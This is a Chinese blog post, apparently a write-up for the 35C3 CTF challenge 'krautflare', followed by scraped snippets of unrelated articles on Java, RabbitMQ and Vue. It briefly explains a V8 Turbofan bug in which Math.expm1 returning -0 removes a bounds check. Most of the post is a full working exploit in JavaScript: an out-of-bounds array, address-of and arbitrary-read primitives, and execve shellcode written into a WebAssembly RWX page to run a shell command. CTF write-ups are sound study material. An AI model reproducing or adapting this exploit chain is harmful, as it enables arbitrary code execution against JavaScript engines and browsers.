35c3 krautflare

参考这篇文章可以彻底了解本题的漏洞所在
https://xz.aliyun.com/t/6527

由于Math.expm1经过patch以后的返回值不可能是-0,但是patch的地方是在typer优化中,所以实际上如果没有优化的话是可以返回-0的,这就意味着如果我们先不停地Math.expm1正常执行不返回-0,触发优化,就会导致turbofan认为Math.expm1不可能返回-0,就可以控制一个布尔型变量始终为false,如果再利用这个布尔型变量乘n作为一个数组的下标,最终就会导致checkbounds检查被去除,此时再传入-0让其返回-0,就造成oobarray

获得oobarray的方法如下:

var oobarray=[1.1];
function test(x){var a = [1.1,2.2,3.3,4.4];oobarray=[1.1,1.1,1.1];var c = {x:-0};var b = Object.is(Math.expm1(x),c.x);a[b*12]=mem.u2d(0x100000000000);return oobarray;         //a[b * 4];
}for (var i = 0; i < 100000; i++) {test("1");
}test(-0);

得到了oobarray之后就很常规了,版本也不高,怎么做都行。在这里插入图片描述

function hex(x)
{return '0x' + (x.toString(16)).padStart(16, 0);
}
class Memory{constructor(){this.buf = new ArrayBuffer(8);this.f64 = new Float64Array(this.buf);this.u32 = new Uint32Array(this.buf);this.bytes = new Uint8Array(this.buf);}d2u(val){				//double ==> Uint64this.f64[0] = val;let tmp = Array.from(this.u32);return tmp[1] * 0x100000000 + tmp[0];}u2d(val){				//Uint64 ==> doublelet tmp = [];tmp[0] = parseInt(val % 0x100000000);tmp[1] = parseInt((val - tmp[0]) / 0x100000000);this.u32.set(tmp);return this.f64[0];}
}
var mem=new Memory();
var oobarray=[1.1];
function test(x){var a = [1.1,2.2,3.3,4.4];oobarray=[1.1,1.1,1.1];var c = {x:-0};var b = Object.is(Math.expm1(x),c.x);a[b*12]=mem.u2d(0x100000000000);return oobarray;         //a[b * 4];
}for (var i = 0; i < 100000; i++) {test("1");
}test(-0);
var arbf=new ArrayBuffer(0x1234);
var obj={'target':0x5678};
var bk_idx=0;
var obj_idx=0;
for(let i=0;i<0x300;i++)
{let tmp=mem.d2u(oobarray[i]);if(tmp==0x567800000000){obj_idx=i;break;}}
for(let i=0;i<0x300;i++)
{let tmp=mem.d2u(oobarray[i]);if(tmp==0x1234){bk_idx=i+1;break;}}
function addressof(object)
{obj.target=object;return mem.d2u(oobarray[obj_idx]);
}
function read64(address)
{oobarray[bk_idx]=mem.u2d(address);var dt=new DataView(arbf);return mem.d2u(dt.getFloat64(0,true));
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
let wasmFunc = wasmInstance.exports.main;
var inst_addr=addressof(wasmInstance);
var rwx_addr=read64(inst_addr+0xe8-1);
console.log("[*] inst_addr is "+hex(inst_addr));
console.log("[*] rwx_addr is "+hex(rwx_addr));
oobarray[bk_idx]=mem.u2d(rwx_addr);
var dt=new DataView(arbf);
const shellcode = new Uint8Array([0x6a,0x3b,0x58,0x99,0x48,0xbb,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x00,0x53,0x48,0x89,0xe7,0x68,0x2d,0x63,0x00,0x00,0x48,0x89,0xe6,0x52,0xe8,0x1c,0x00,0x00,0x00,0x44,0x49,0x53,0x50,0x4c,0x41,0x59,0x3d,0x3a,0x30,0x20,0x67,0x6e,0x6f,0x6d,0x65,0x2d,0x63,0x61,0x6c,0x63,0x75,0x6c,0x61,0x74,0x6f,0x72,0x00,0x56,0x57,0x48,0x89,0xe6,0x0f,0x05]);
for (var i=0;i<shellcode.length;i++) {dt.setUint8(i,shellcode[i], true);
}
//%DebugPrint(oobarray);
//%DebugPrint(shellcode);
//%SystemBreak();
wasmFunc();

在这里插入图片描述

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/327512.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java集合框架综述

转载自 Java集合框架综述 集合框架&#xff08;collections framework&#xff09; 首先要明确&#xff0c;集合代表了一组对象&#xff08;和数组一样&#xff0c;但数组长度不能变&#xff0c;而集合能&#xff09;。Java中的集合框架定义了一套规范&#xff0c;用来表示、…

vue项目没有启动成功的原因之一

删除mould。。。本地从新安装

RabbitMQ 高可用集群搭建及电商平台使用经验总结

面向EDA&#xff08;事件驱动架构&#xff09;的方式来设计你的消息AMQP routing key的设计RabbitMQ cluster搭建Mirror queue policy设置两个不错的RabbitMQ plugin 大型应用插件(Sharding、Rederation)Queue镜像失败手动同步各集群配置同步方式&#xff08;RabbitMQ export\i…

java实现遍历树形菜单方法——service层

Service接口&#xff1a; /** * Title: IVoteTreeService.java * Package org.Service * Description: TODO该方法的主要作用&#xff1a; * author A18ccms A18ccms_gmail_com * date 2017-5-6 下午10:42:10 * version V1.0 */ package org.Service;import java.util.Li…

谷歌浏览器如何阻止弹窗广告?右下角弹窗一个接一个的弹出 每隔几分钟又来一波 怎么屏蔽?

谷歌浏览器如何阻止弹窗广告&#xff1f;右下角弹窗一个接一个的弹出 每隔几分钟又来一波 怎么屏蔽&#xff1f; 作者&#xff1a;知乎用户 链接&#xff1a;https://www.zhihu.com/question/319190736/answer/645314963 来源&#xff1a;知乎 著作权归作者所有。商业转载请联…

如何线程安全的使用HashMap

转载自 如何线程安全的使用HashMap 在周二面试时&#xff0c;一面的面试官有问到 HashMap 是否是线程安全的&#xff0c;如何在线程安全的前提下使用 HashMap,其实也就是 HashMap&#xff0c;Hashtable&#xff0c;ConcurrentHashMap 和 synchronized Map 的原理和区别。当时有…

脚本可以放在html外,关于把script脚本放在html结束标签外的运行结果???

杨__羊羊在哪里放置 JavaScript 代码&#xff1f;通常情况下&#xff0c;JavaScript 代码是和 HTML 代码一起使用的&#xff0c;可以将 JavaScript 代码放置在 HTML 文档的任何地方。但放置的地方&#xff0c;会对 JavaScript 代码的正常执行会有一定影响&#xff0c;具体如下所…

后端解决跨域问题---SpringBoot

解决跨域问题 在后端解决跨域问题&#xff1a; 新建配置类 config/ CrosConfig.java /*** 解决跨域问题*/ Configuration public class CrosConfig implements WebMvcConfigurer {Overridepublic void addCorsMappings(CorsRegistry registry) {registry.addMapping("/*…

java实现遍历树形菜单方法——HibernateUtil实现

/** * Title: HibernateUtil.java * Package org.web * Description: TODO该方法的主要作用&#xff1a; * author A18ccms A18ccms_gmail_com * date 2017-5-6 下午1:41:30 * version V1.0 */ package org.util;import org.hibernate.Session; import org.hibernate.cfg…

用.net core 写后端—— c++外的另一种选择?

一、.net core简介 &#xff08;1&#xff09;.net是什么 .net实际是遵守同一个标准&#xff08;ECMA&#xff09;的多种不同实现&#xff0c;如.net Framework、Mono、和较新的.netcore。C#是.net支持的其中一种语言&#xff0c;理论上任何遵循公共语言规范&#xff08;CLS&am…

16-就业课(2.1)-应用容器-Docker

https://www.jianshu.com/writer#/notebooks/46975630/notes/74245796 01-今日内容.mp4 02-初始docker-docker概述.mp4 03-初始docker-docker安装.mp4 04-初始docker-docker架构.mp4 05-初始docker-配置镜像加速器.mp4 https://www.jianshu.com/writer#/notebooks/4697563…

如何使ArrayList 线程安全

转载自 如何使ArrayList 线程安全 ArrayList是线程不安全的&#xff0c;轻量级的。如何使ArrayList线程安全&#xff1f; 1、继承Arraylist&#xff0c;然后重写或按需求编写自己的方法&#xff0c;这些方法要写成synchronized&#xff0c;在这些synchronized的方法中调用Arr…

百度地图描绘轨迹html,百度地图API 绘制轨迹历史

DOCTYPE html>2 3 4 5 6 7 body, html{width:100%;height:100%;overflow:hidden;margin:0;font-family:"微软雅黑";}8 #allmap{width:100%;height:100%;overflow:hidden;margin:0;font-family:"微软雅黑";}9 style>10 script>11 script>1213 车…

java实现遍历树形菜单方法——TreeAction实现

/** * Title: TreeAction.java * Package org.web * Description: TODO该方法的主要作用&#xff1a; * author A18ccms A18ccms_gmail_com * date 2017-5-6 下午11:27:32 * version V1.0 */ package org.web;import net.sf.json.JSONArray; import net.sf.json.JSONObje…

传统请求风格 VS RestFul 风格

RestFul 风格 概念 Restful就是一个资源定位及资源操作的风格。不是标准也不是协议&#xff0c;只是一种风格。基于这个风格设计的软件可以更简洁&#xff0c;更有层次&#xff0c;更易于实现缓存等机制。 功能 资源&#xff1a;互联网所有的事物都可以被抽象为资源 资源操…

《微软开源跨平台移动开发实践》团购通知

【新书推荐】《微软开源跨平台移动开发实践》带你走近微软开源开源跨平台技术 大家的响应非常积极&#xff0c;接近400位同学想团购。 这两天通过作者李争的努力&#xff0c;为大家争取到了非常实惠的价格&#xff0c;投票结果看不到具体是谁参与了投票&#xff0c;请参与投票的…

java实现遍历树形菜单方法——OpenSessionView实现

/** * Title: OpenSessionView.java * Package org.util * Description: TODO该方法的主要作用&#xff1a; * author A18ccms A18ccms_gmail_com * date 2017-5-6 下午1:48:25 * version V1.0 */ package org.web;import java.io.IOException;import javax.servlet.Filt…

学生用计算机说明方法,15.文中多处运用了作比较的说明方法.请任选一例.说说运用这种方法的作用. 例子: 作用:...

一、积累与运用(31分)1&#xff0e; 要求间架结构正确&#xff0c;书写规范、端正、整洁&#xff0c;否则扣分。2&#xff0e; 河改为何 &#xff1b;播改为拨。3&#xff0e;B4&#xff0e;要求符合文意&#xff0c;语言通顺。5&#xff0e;(1)示例&#xff1a;文学?真诚?…

java提高篇(二四)—–HashSet

转载自 java提高篇&#xff08;二四&#xff09;—–HashSet 在前篇博文中&#xff08;java提高篇&#xff08;二三&#xff09;-----HashMap&#xff09;详细讲解了HashMap的实现过程&#xff0c;对于HashSet而言&#xff0c;它是基于HashMap来实现的&#xff0c;底层采用Has…

$router VS $route

$router是一个VueRouter的实例 可以导航到不同的路由里 $route是$router跳转到的当前一个对象&#xff0c;里面包含该对象的path、query、name 、params 用法 &#xff1a; this.$router.push() 跳转到指定的url 会向history栈添加一个记录 点击后退会返回上一页面 1、this.…